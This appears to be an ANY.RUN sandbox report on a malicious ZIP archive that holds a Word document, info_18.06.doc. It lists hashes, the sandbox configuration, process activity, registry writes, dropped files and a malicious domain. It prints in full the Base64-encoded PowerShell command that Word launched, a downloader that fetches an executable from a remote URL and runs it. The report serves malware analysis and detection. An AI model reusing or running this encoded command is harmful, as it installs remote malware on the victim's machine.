Malware analysis Casasantachiara.zip Malicious activity

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File name:	Casasantachiara.zip
Full analysis:	https://app.any.run/tasks/fa42b7f3-349f-462b-a5c3-8d4c94caf1fc
Verdict:	Malicious activity
Analysis date:	June 19, 2019, 08:11:03
OS:	Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Indicators:
MIME:	application/zip
File info:	Zip archive data, at least v2.0 to extract
MD5:	CD92571CA4C4C664152FF74112FE77E5
SHA1:	12DA6C89B461C738BCAE442350ABAEAAFB23880A
SHA256:	4213DC430165E06BD8458CAA1601B684680BA3335012CF7A86034B309612C2B6
SSDEEP:	768:10rD6P5E+UPzqDOArZ3IML6s2d1FIZ86vPg23yAM52z8gQ8+iRbuFxnxT3cuPyN4:arD6YrqD9rXL6s2d1F80AM52wiuFxnx7

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

Launch configuration

Task duration:: 300 seconds
Heavy Evasion option:: off
Network geolocation:: off
Additional time used:: 240 seconds
MITM proxy:: off
Privacy:: Public submission
Fakenet option:: off
Route via Tor:: off
Autoconfirmation of UAC:: on
Network:: on

Software preset

Internet Explorer 8.0.7601.17514 undefined
Adobe Acrobat Reader DC MUI (15.023.20070)
Adobe Flash Player 26 ActiveX (26.0.0.131)
Adobe Flash Player 26 NPAPI (26.0.0.131)
Adobe Flash Player 26 PPAPI (26.0.0.131)
Adobe Refresh Manager (1.8.0)
CCleaner (5.35)
FileZilla Client 3.36.0 (3.36.0)
Google Chrome (73.0.3683.75)
Google Update Helper (1.3.33.23)
Java 8 Update 92 (8.0.920.14)
Java Auto Updater (2.8.92.14)
Microsoft .NET Framework 4.6.1 (4.6.01055)
Microsoft Office Access MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Access Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Excel MUI (English) 2010 (14.0.6029.1000)
Microsoft Office OneNote MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Outlook MUI (English) 2010 (14.0.6029.1000)
Microsoft Office PowerPoint MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Professional 2010 (14.0.6029.1000)
Microsoft Office Proof (English) 2010 (14.0.6029.1000)
Microsoft Office Proof (French) 2010 (14.0.6029.1000)
Microsoft Office Proof (Spanish) 2010 (14.0.6029.1000)
Microsoft Office Proofing (English) 2010 (14.0.6029.1000)
Microsoft Office Publisher MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Single Image 2010 (14.0.6029.1000)
Microsoft Office Word MUI (English) 2010 (14.0.6029.1000)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 (9.0.30729.6161)
Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 (10.0.40219)
Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 (12.0.30501.0)
Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2017 Redistributable (x86) - 14.15.26706 (14.15.26706.0)
Microsoft Visual C++ 2017 x86 Additional Runtime - 14.15.26706 (14.15.26706)
Microsoft Visual C++ 2017 x86 Minimum Runtime - 14.15.26706 (14.15.26706)
Mozilla Firefox 65.0.2 (x86 en-US) (65.0.2)
Notepad++ (32-bit x86) (7.5.1)
Opera 12.15 (12.15.1748)
Skype version 8.29 (8.29)
VLC media player (2.2.6)
WinRAR 5.60 (32-bit) (5.60.0)

Hotfixes

Client LanguagePack Package
Client Refresh LanguagePack Package
CodecPack Basic Package
Foundation Package
IE Troubleshooters Package
InternetExplorer Optional Package
KB2534111
KB2999226
KB976902
LocalPack AU Package
LocalPack CA Package
LocalPack GB Package
LocalPack US Package
LocalPack ZA Package
ProfessionalEdition
UltimateEdition

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MALICIOUS
- Executes PowerShell scripts
  - WINWORD.EXE (PID: 3284)
- Unusual execution from Microsoft Office
  - WINWORD.EXE (PID: 3284)
SUSPICIOUS
- Starts Microsoft Office Application
  - WinRAR.exe (PID: 3516)
- Creates files in the user directory
  - powershell.exe (PID: 3016)
INFO
- Reads Microsoft Office registry keys
  - WINWORD.EXE (PID: 3284)
- Creates files in the user directory
  - WINWORD.EXE (PID: 3284)

Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

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No Malware configuration.

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TRiD

.zip	\|	ZIP compressed archive (100)

EXIF

ZIP

ZipRequiredVersion:	20
ZipBitFlag:	0x0009
ZipCompression:	Deflated
ZipModifyDate:	2019:06:18 06:02:07
ZipCRC:	0x6b071cb8
ZipCompressedSize:	48819
ZipUncompressedSize:	77312
ZipFileName:	info_18.06.doc

No data.

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All screenshots are available in the full report

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Total processes

Monitored processes

Malicious processes

Suspicious processes

Behavior graph

Click at the process to see the details

Process information

PID

CMD

Path

Indicators

Parent process

3016

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -Exec Bypass -enc JABpAFYAbwA4ADcAQgB1ACAAPQAgACcATAB2AEgATABLAHIAJwA7ACQARwBjAE8AVQBUAGEARgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAaQBWAG8AOAA3AEIAdQArACcALgBlAHgAZQAnADsAJABvADQAZgA5AFUAZAA9AC4AKAAnAG4AJwArACcAZQB3AC0AbwAnACsAJwBiAGoAZQBjAHQAJwApACAATgBlAGAAVABgAC4AdwBlAGIAYABDAEwAaQBlAE4AVAA7ACQAdgB1AFIARABPAEEAegBDAD0AJwBoAHQAdABwADoALwAvAG0ANgAxADQANwBrAGUAZQBnAGEAbgBwAHcALgBpAG4AZgBvAC8AcwBwADIAOAAyAHkALwBzAGkAMgBzADgAMQAtADEAOQAuAHAAaABwAD8AbAA9AHIAdwBvAHEAMQAuAGQAYQB0ACcALgBzAHAAbABpAHQAKAAnACUAJwApADsAZgBvAHIAZQBhAGMAaAAoACQASQBQAHAAbQA0AE4AaQBXACAAaQBuACAAJAB2AHUAUgBEAE8AQQB6AEMAKQB7AHQAcgB5AHsAJABvADQAZgA5AFUAZAAuAEQAbwB3AE4AbABvAGEARABmAEkAbABFACgAJABJAFAAcABtADQATgBpAFcALAAgACQARwBjAE8AVQBUAGEARgApADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQAnACsAJwB0AGUAJwArACcAbQAnACkAIAAkAEcAYwBPAFUAVABhAEYAKQAuAGwARQBOAEcAdABoACAALQBnAGUAIAB7AG4AdQBtAGIAZQByADEAfQApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAUwBUAGEAUgB0ACgAJABHAGMATwBVAFQAYQBGACkAOwBiAHIAZQBhAGsAOwB9AH0AYwBhAHQAYwBoAHsAfQB9AA0ACgA=

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

—

WINWORD.EXE

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows PowerShell

Exit code:

Version:

6.1.7600.16385 (win7_rtm.090713-1255)

Modules

Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll

3284

"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\Rar$DIb3516.39471\info_18.06.doc"

C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

—

WinRAR.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Microsoft Word

Exit code:

Version:

14.0.6024.1000

Modules

Images
c:\program files\microsoft office\office14\winword.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\comctl32.dll

3516

"C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\AppData\Local\Temp\Casasantachiara.zip"

C:\Program Files\WinRAR\WinRAR.exe

—

explorer.exe

User:

admin

Company:

Alexander Roshal

Integrity Level:

MEDIUM

Description:

WinRAR archiver

Exit code:

Version:

5.60.0

Modules

Images
c:\program files\winrar\winrar.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\comdlg32.dll

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Total events

1 846

Read events

1 372

Write events

469

Delete events

Modification events


(PID) Process:	(3516) WinRAR.exe	Key:	HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes
Operation:	write	Name:	ShellExtBMP
Value:
(PID) Process:	(3516) WinRAR.exe	Key:	HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes
Operation:	write	Name:	ShellExtIcon
Value:
(PID) Process:	(3516) WinRAR.exe	Key:	HKEY_CLASSES_ROOT\Local Settings\MuiCache\62\52C64B7E
Operation:	write	Name:	LanguageList
Value: en-US
(PID) Process:	(3516) WinRAR.exe	Key:	HKEY_CURRENT_USER\Software\WinRAR\ArcHistory
Operation:	write	Name:	0
Value: C:\Users\admin\AppData\Local\Temp\Casasantachiara.zip
(PID) Process:	(3516) WinRAR.exe	Key:	HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:	write	Name:	name
Value: 120
(PID) Process:	(3516) WinRAR.exe	Key:	HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:	write	Name:	size
Value: 80
(PID) Process:	(3516) WinRAR.exe	Key:	HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:	write	Name:	type
Value: 120
(PID) Process:	(3516) WinRAR.exe	Key:	HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:	write	Name:	mtime
Value: 100
(PID) Process:	(3516) WinRAR.exe	Key:	HKEY_CURRENT_USER\Software\WinRAR\Interface
Operation:	write	Name:	ShowPassword
Value: 0
(PID) Process:	(3284) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:	write	Name:	8?"
Value: 383F2200D40C0000010000000000000000000000

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Executable files

Suspicious files

Text files

Unknown types

Dropped files

PID	Process	Filename		Type
3284	WINWORD.EXE	C:\Users\admin\AppData\Local\Temp\CVR9398.tmp.cvr		—
		MD5:—	SHA256:—
3016	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\UDJTSYUANCCBGJBYWII0.temp		—
		MD5:—	SHA256:—
3284	WINWORD.EXE	C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm		pgc
		MD5:—	SHA256:—
3516	WinRAR.exe	C:\Users\admin\AppData\Local\Temp\Rar$DIb3516.39471\info_18.06.doc		document
		MD5:—	SHA256:—
3284	WINWORD.EXE	C:\Users\admin\AppData\Local\Temp\Rar$DIb3516.39471\~$fo_18.06.doc		pgc
		MD5:—	SHA256:—
3016	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF139d7c.TMP		binary
		MD5:—	SHA256:—
3016	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms		binary
		MD5:—	SHA256:—
3284	WINWORD.EXE	C:\Users\admin\AppData\Local\Temp\VBE\MSForms.exd		tlb
		MD5:—	SHA256:—

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HTTP(S) requests

TCP/UDP connections

DNS requests

Threats

HTTP requests

No HTTP requests

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Connections

No data

DNS requests

Domain	IP	Reputation
m6147keeganpw.info	—	malicious

Threats

No threats detected

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No debug info

General Info

Casasantachiara.zip

CD92571CA4C4C664152FF74112FE77E5

12DA6C89B461C738BCAE442350ABAEAAFB23880A

4213DC430165E06BD8458CAA1601B684680BA3335012CF7A86034B309612C2B6

768:10rD6P5E+UPzqDOArZ3IML6s2d1FIZ86vPg23yAM52z8gQ8+iRbuFxnxT3cuPyN4:arD6YrqD9rXL6s2d1F80AM52wiuFxnx7

Software environment set and analysis options

Launch configuration

Software preset

Hotfixes

Behavior activities

MALICIOUS

Executes PowerShell scripts

Unusual execution from Microsoft Office

SUSPICIOUS

Starts Microsoft Office Application

Creates files in the user directory

INFO

Reads Microsoft Office registry keys

Creates files in the user directory

Malware configuration

Static information

TRiD

EXIF

ZIP

Video and screenshots

Processes

Behavior graph

Specs description

Process information

Information

Modules

Information

Modules

Information

Modules

Registry activity

Modification events

Files activity

Dropped files

Network activity

HTTP requests

Connections

DNS requests

Threats

Debug output strings